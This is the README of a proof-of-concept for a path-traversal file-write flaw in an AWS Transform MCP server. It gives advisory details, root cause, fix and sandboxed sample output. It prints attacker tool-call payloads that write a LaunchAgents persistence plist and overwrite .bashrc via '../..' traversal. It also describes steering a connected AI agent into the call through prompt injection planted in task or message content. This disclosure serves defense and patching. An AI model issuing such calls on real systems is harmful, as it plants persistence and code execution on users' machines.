
PoC for CVE-2026-18953 — arbitrary file write (CWE-22) in awslabs.aws-transform-mcp-server's get_resource tool via the savePath parameter
| CVE | CVE-2026-18953 |
| CWE | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
| Affected | awslabs.aws-transform-mcp-server 0.1.0 – 0.1.4 |
| Fixed in | 0.1.5 |
| CVSS v3.1 | 8.6 HIGH — AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CVSS v4.0 | 6.3 MEDIUM — AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| Advisory | GHSA-66mr-jr63-2jgw |
| Bulletin | AWS Security Bulletin 2026-075 |
| Reporter | Drew Raines (coordinated disclosure) |
| Published | 2026-08-05 |
get_resource(resource="artifact" | "asset", ...) downloads a file from a
pre-signed S3 URL and, when the caller passes savePath / fileName, saves it
to local disk through:
tools/get_resource.py -> tool_utils.download_s3_content()
-> file_validation.validate_write_path()
In <= 0.1.4, validate_write_path() only:
save_path with os.path.realpath(os.path.expanduser(...)).~/.aws, ~/.ssh, ~/.gnupg,
~/.docker, ~/.aws-transform-mcp, /etc/shadow, /etc/passwd).file_name via os.path.basename().It never confines the resolved directory to any base/working directory, and
BLOCKED_FILENAMES (.bashrc, .zshrc, authorized_keys, id_rsa, …) is
only enforced on reads, not writes. So any MCP client of this server —
including an agent that has been indirectly prompt-injected via untrusted
job/task/message content it fetches through this same tool — can set
savePath to an absolute path, a ../.. traversal, or a sensitive dotfile
name, and the server writes attacker-influenced bytes there. That's a
file-write primitive outside the directory the operator believes downloads are
confined to; the advisory notes it "could lead to local code execution" (e.g.
clobbering a shell startup file).
0.1.5 fixes this by adding an explicit allow-listed base directory
(_ALLOWED_WRITE_BASE, taken from $AWS_TRANSFORM_MCP_WRITE_DIR or the server's
CWD at startup) that every resolved write path must fall under, and by also
enforcing BLOCKED_FILENAMES on the final resolved write path.
Full root-cause diff: vendor/0.1.4-vulnerable/file_validation.py
vs. vendor/0.1.5-fixed/file_validation.py
(both pulled verbatim from PyPI / GitHub, Apache-2.0).
An MCP client (Q Developer, Kiro, Claude, etc. wired up to this server) issues a tool call such as:
{
"name": "get_resource",
"arguments": {
"resource": "artifact",
"workspaceId": "ws-...",
"jobId": "job-...",
"artifactId": "art-...",
"savePath": "/Users/victim/Library/LaunchAgents",
"fileName": "com.evil.persist.plist"
}
}
or, from a relative sandbox dir:
{ "savePath": "../../../../../../Users/victim/.bashrc", "fileName": "x" }
Because the tool describes resource="task" responses as things the agent
should read and act on, and resource="messages" content originates from
chat/job data, a workspace collaborator (or a compromised upstream job/message
source) doesn't need to convince a human to type this — steering an
already-connected agent into calling get_resource with a hostile savePath
is enough. No real AWS credentials are required to demonstrate the flaw
itself, since the bug is entirely in local path handling, before/after the S3
fetch.
python3 poc.py
No third-party dependencies, no AWS account, no network access to AWS. The script:
file_validation.py from both 0.1.4 and
0.1.5+ (see vendor/).download_s3_content() with the exact control flow from
upstream tool_utils.py (httpx swapped for stdlib urllib only —zero
dependencies, same logic), and drives it exactly as get_resource would.savePath/fileName pairs — absolute-path escape,
relative ../.. traversal, and a blocked-on-read-only dotfile name —
against the vulnerable validator, then the fixed one.Everything happens inside a disposable mkdtemp() scratch directory; your
real $HOME is never touched. Sample output:
=== Target: file_validation.py from 0.1.4-vulnerable ===
-> Absolute path escape (no traversal needed at all)
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_absolute_path.sh
-> Relative "../../.." traversal out of the sandbox dir
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_traversal.sh
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/decoy_home/.bashrc
=== Target: file_validation.py from 0.1.5-fixed ===
-> Absolute path escape (no traversal needed at all)
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (...)
-> Relative "../../.." traversal out of the sandbox dir
RESULT: BLOCKED (raised ValueError): ...
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: BLOCKED (raised ValueError): ...
Upgrade to awslabs.aws-transform-mcp-server >= 0.1.5. There is no
server-side workaround for older versions; the advisory recommends upgrading.
Operators who cannot upgrade immediately should run the server with its CWD
set to a dedicated, empty directory and treat any file it can write to as
compromised.
README.md — this file
poc.py — self-contained PoC driver
vendor/_loguru_shim.py — tiny stand-in for the `loguru` dep (test scaffolding only)
vendor/0.1.4-vulnerable/file_validation.py — real vulnerable source, from PyPI sdist
vendor/0.1.5-fixed/file_validation.py — real patched source, from github.com/awslabs/mcp@main